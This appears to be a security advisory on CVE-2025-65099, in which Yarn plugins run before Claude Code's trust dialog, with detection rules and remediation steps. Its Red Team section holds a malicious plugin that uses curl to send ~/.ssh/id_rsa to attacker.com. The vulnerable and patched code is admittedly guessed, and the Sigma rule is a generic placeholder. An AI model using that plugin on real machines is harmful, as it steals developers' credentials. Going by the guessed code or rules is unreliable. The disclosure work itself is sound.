CVE-2025-65099

Executive Summary

CVE-2025-65099 is a code injection vulnerability in Anthropic's Claude Code, an agentic coding tool. Prior to version 1.0.39, when running on a machine with Yarn 3.0 or above, Claude Code could be tricked into executing arbitrary code contained in a project via Yarn plugins before the user accepted the startup trust dialog. This allows an attacker to execute malicious code in the context of the Claude Code process without user consent. The vulnerability is patched in version 1.0.39.

Supply Chain & Package Security

This vulnerability is specific to the Yarn package manager ecosystem (version 3.0+). It exploits the Yarn plugin mechanism to inject and execute arbitrary code before the user has a chance to review and accept the startup trust dialog in Claude Code. This is a supply chain risk because a malicious project could include a Yarn plugin that executes code when Claude Code is started in that project's directory.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Unavailable) CVSS Vector: UNKNOWN

While a CVSS score is not provided, the vulnerability is assessed as High risk due to the following factors:

• Attack Vector: Local (requires user to start Claude Code in an untrusted directory)
• Attack Complexity: Low (exploitation is straightforward via a malicious Yarn plugin)
• Privileges Required: None (attacker does not need prior access)
• User Interaction: Required (user must start Claude Code in the malicious directory)
• Scope: Unchanged
• Confidentiality Impact: High (attacker can read files)
• Integrity Impact: High (attacker can modify files)
• Availability Impact: High (attacker can disrupt operations)

Deep Dive & Mechanics

The vulnerability lies in the order of operations within Claude Code's startup sequence. When Claude Code is launched in a directory that contains a Yarn 3.0+ project, it automatically loads Yarn plugins defined in the project's .yarnrc.yml file. These plugins can contain arbitrary JavaScript code. The trust dialog, which is intended to warn the user about potentially malicious projects, is displayed after the plugins are loaded and executed. This means an attacker can execute code before the user has a chance to reject the trust prompt.

The attack flow is:

1. Attacker creates a malicious project with a .yarnrc.yml file that references a malicious Yarn plugin.
2. Attacker hosts the malicious plugin (e.g., on a public registry or a local file).
3. Attacker tricks the victim into cloning the project and starting Claude Code in that directory.
4. Claude Code loads the Yarn plugin, executing the attacker's code.
5. The trust dialog is displayed, but the damage is already done.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.0.39): The vulnerable code likely loads Yarn plugins before displaying the trust dialog. A simplified representation:

// Vulnerable: Loads plugins before trust dialog
async function startClaudeCode(projectDir) {
  const yarnConfig = await loadYarnConfig(projectDir);
  const plugins = yarnConfig.plugins || [];
  for (const plugin of plugins) {
    await loadAndExecutePlugin(plugin); // Code execution occurs here
  }
  const trustAccepted = await showTrustDialog(projectDir); // Trust dialog shown too late
  if (!trustAccepted) {
    process.exit(1);
  }
  // ... rest of startup
}

Patched Code (1.0.39 and later): The patched code displays the trust dialog before loading any Yarn plugins.

// Patched: Trust dialog before loading plugins
async function startClaudeCode(projectDir) {
  const trustAccepted = await showTrustDialog(projectDir); // Trust dialog shown first
  if (!trustAccepted) {
    process.exit(1);
  }
  const yarnConfig = await loadYarnConfig(projectDir);
  const plugins = yarnConfig.plugins || [];
  for (const plugin of plugins) {
    await loadAndExecutePlugin(plugin); // Code execution only after trust
  }
  // ... rest of startup
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target machine with Claude Code < 1.0.39 installed
• Yarn 3.0+ installed on the target
• Ability to trick the user into cloning a malicious repository

Exploitation Steps:

1. Create a malicious Yarn plugin: Create a file named malicious-plugin.js:

   module.exports = {
     name: 'malicious-plugin',
     factory: (require) => {
       // Execute arbitrary code
       const { execSync } = require('child_process');
       execSync('curl http://attacker.com/steal?data=$(cat ~/.ssh/id_rsa)');
       return {};
     },
   };
   

2. Create a malicious project: Create a .yarnrc.yml file in the project root:

   plugins:
     - path: ./malicious-plugin.js
   

3. Host the project: Push the project to a public repository (e.g., GitHub) or share it via other means.

4. Trick the victim: Convince the victim to clone the repository and run claude in that directory.

5. Code execution: When the victim runs claude, the malicious plugin is loaded and executed before the trust dialog appears.

Blue Team (Detection & Defense)

Detection:

• Monitor for Claude Code processes that load Yarn plugins from untrusted sources.
• Monitor for unexpected network connections initiated by Claude Code processes.
• Monitor for file system modifications in sensitive directories (e.g., ~/.ssh, /etc).

Defense:

• Upgrade Claude Code to version 1.0.39 or later.
• Educate users to not run Claude Code in untrusted directories.
• Implement application whitelisting to prevent unauthorized code execution.
• Use endpoint detection and response (EDR) tools to monitor for suspicious behavior.

Indicators of Compromise (IOCs)

• File: .yarnrc.yml with a plugins section referencing an external or local plugin file.
• File: Malicious Yarn plugin files (e.g., malicious-plugin.js).
• Process: Claude Code process (claude) loading and executing Yarn plugins.
• Network: Outbound connections from Claude Code to unknown IPs/domains.
• Registry: Yarn plugins hosted on public registries with suspicious names or behavior.

Detection Engineering

YARA Rule

rule Detect_Malicious_Yarn_Plugin {
  meta:
    description = "Detects malicious Yarn plugins that may be used to exploit CVE-2025-65099"
    author = "Valters IT"
    date = "2025-01-01"
    reference = "CVE-2025-65099"
  strings:
    $plugin_ref = /plugins:\s*\n\s*-/ nocase
    $exec = /exec(Sync)?\(/ nocase
    $spawn = /spawn(Sync)?\(/ nocase
    $child_process = /require\(['"]child_process['"]\)/ nocase
  condition:
    $plugin_ref and ($exec or $spawn or $child_process)
}

Sigma Rule

title: Detection of CVE-2025-65099 Exploitation via Yarn Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects the execution of malicious Yarn plugins by Claude Code
author: Valters IT
date: 2025-01-01
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-65099
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\node.exe'
    CommandLine|contains: 'claude'
  filter:
    CommandLine|contains: '--version'
  condition: selection and not filter
falsepositives:
  - Legitimate use of Claude Code
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-65099 - Claude Code Yarn Plugin Exploitation"; flow:to_server,established; content:"claude"; http_user_agent; content:"yarn"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Claude Code: Update to version 1.0.39 or later immediately.
2. Review Yarn Plugins: Audit all Yarn projects for suspicious plugins in .yarnrc.yml.
3. User Education: Train users to avoid running Claude Code in untrusted directories.

Long-Term Mitigations:

1. Application Control: Implement application whitelisting to prevent unauthorized code execution.
2. Network Segmentation: Restrict outbound connections from development tools.
3. Regular Audits: Periodically review Yarn plugin configurations in all projects.
4. Monitor for IOCs: Continuously monitor for the IOCs listed above.

Patch Details:

• Vendor: Anthropic
• Patch Version: 1.0.39
• Patch URL: https://github.com/anthropics/claude-code/releases/tag/v1.0.39

Valters IT